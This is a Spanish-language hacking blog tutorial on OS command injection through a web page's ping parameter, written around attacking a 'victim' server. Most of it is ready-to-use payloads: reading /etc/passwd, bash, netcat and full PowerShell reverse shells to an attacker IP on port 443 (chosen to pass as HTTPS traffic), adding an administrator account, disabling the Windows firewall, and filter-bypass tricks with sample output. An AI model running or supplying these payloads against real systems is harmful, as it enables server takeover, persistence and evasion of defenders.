¿Y si le meto un comando en la página web, se ejecutará dentro del servidor?

Comandos

«Si piensas que los usuarios de tus programas son idiotas, sólo los idiotas usarán tus programas»

Linus Torvalds

¡Claro, comando … command … si!  veremos Comman Injection

Lograr ejecutar comandos en la máquina de nuestra víctima es algo genial, más aún cuando este es un servidor web, el cual tiene una aplicación importante, la que debería tener una red importante tras de esta.

Veamos la definición:

La inyección de comandos es un ataque en el que el objetivo es la ejecución de comandos arbitrarios en el sistema operativo host a través de una aplicación vulnerable. Los ataques de inyección de comandos son posibles cuando una aplicación pasa datos inseguros proporcionados por el usuario (formularios, cookies, encabezados HTTP, etc.) a una shell del sistema. En este ataque, los comandos del sistema operativo proporcionados por el atacante generalmente se ejecutan con los privilegios de la aplicación vulnerable. Los ataques de inyección de comandos son posibles en gran medida debido a una validación de entrada insuficiente.

En Resumen: ¿Un atacante puede ejecutar un comando de sistema, algo así como un “ls” (para ejecutar no consideres las comillas), para listar un directorio interno del servidor en Linux o su gemelo en Windows “dir”, desde una aplicación, capichi?

https://askubuntu.com/questions/103913/difference-between-dir-and-ls-terminal-commands

 

El típico ejemplo es que pillemos un sitio web el cual curiosa y misteriosamente tiene una función que realiza un ping:

http://www.***.cl/informacion.php?ping=127.0.0.1

Ok, entonces la aplicación realiza un ping a una ip entregada por el usuario y el resultado se ve reflejado en un formulario, file, etc.

¿La pregunta es, podremos abusar de ese famoso y pinche ping?, ¿cómo?, está correctamente filtrado el input de la app?  tendrá habilitado algo así como shell_exec?

Utilizamos los famosos «command­-chaining operators» o en Spanish «Operadores de encadenamiento de comandos» que se entiende más fácil como «concatenadores de ejecución» los cuales son:

; simicolon o punto y coma

& Ampersand

&& Double Ampersand

| Or o en chilensis pipa

|| Or o doble pipa

10 Useful Chaining Operators in Linux with Practical Examples


TIPSSSSSSSSS

En Windows no funciona el ; (punto y coma) debemos ocupar el & Ampersand, por ende lo podemos ocupar para identificar qué tipo de sistema operativo se está haciendo cargo de la ejecución ya que si es Windows, no podremos ver más que la ejecución primaria y no la que le estamos intentando concatenar, o bien, si es Windows, al momento de escribir ls, no reconocerá el comando, pero si fuese Linux si podremos listar el directorio actual donde estamos ejecutando.

o

ping=127.0.0.1&dir (Windows)

ping=127.0.0.1;ls (UNIX)

Por ende, podríamos lograr algo así como

Linux

ping=127.0.0.1| cat /etc/passwd (nos permite ver el archivo passwd)

ping=127.0.0.1||bash -i >& /dev/tcp/IPAtacante/443 0>&1  (Obtenemos una shell reversa, el puerto 443 generalmente está abierto y a nivel de ciberdefensa se notaría un tipo de tráfico de navegación por HTTPS por lo cual pasamos piola)   

Ojetillo! ( debemos levantar antes en la máquina atacante como mínimo un nc -nlvp 443)

ping=127.0.0.1 && nc -e /bin/sh IPAtacante 443  (shell reversa a traves de netcat)

Windows

ping=127.0.0.1 | ipconfig /all

ping=127.0.0.1 && net localgroup Administrators hacker /ADD

ping=127.0.0.1 & netsh firewall set opmode disable

ping=127.0.0.1 & powershell.exe -c «$c = New-Object System.Net.Sockets.TCPClient(‘IPAtacante’,443);$str = $c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i =$str.Read($b, 0,$b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sendback = (iex $d 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sb = ([text.encoding]::ASCII).GetBytes($sendback2);$str.Write($sb,0,$sb.Length);$str.Flush()};$c.Close()»»@
(Shell reversa utilizando powershell)

O también podemos apoyarnos con alguna herramienta de creación de shell reversas como la que tiene @dplastico en su github bastante efectiva:

https://github.com/dplastico/revshell

y además la de cybervaca:

https://github.com/cybervaca/ShellReverse


 

Bypass de filtros de ejecución:

Algunas veces nos toparemos que la ejecución pueda estar algo filtrada, se visualiza mal o te lanza un error, o simplemente no te muestra nada, en esos casos es importante intentar algunos bypass de inyección de comandos.

Windows
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP

Linux
eh@337:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash

eh@337▸ ~ ▸ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

eh@337▸ ~ ▸ $ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

eh@337▸ ~ ▸ $ echo${IFS}»RCE»${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

eh@337▸ ~ ▸ $ X=$’uname\x20-a’&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu

eh@337▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242


Herramienta de apoyo

Una herramienta de apoyo que podemos utilizar si detectamos algo que nos pueda sonar a un command injection es Commix:

Commix

https://github.com/commixproject/commix

Commix (abreviatura de [comm] y [i] njection e [x] ploiter) es una herramienta automatizada escrita por Anastasios Stasinopoulos (@ancst) que se puede utilizar desde desarrolladores web, pentesters o incluso security research, la aplicación se basa en intentar encontrar vulnerabilidades relacionadas con ataques de inyección de comandos. Al usar esta herramienta, es muy fácil encontrar y explotar una vulnerabilidad de inyección de comandos en un determinado parámetro vulnerable o encabezado HTTP.

¿y si estamos con BurpSuite?

Pues bien nos viene para ocupar con intruder la lista command-injection-payload-list de payloadbox:

https://github.com/payloadbox/command-injection-payload-list

HAPPY HACK.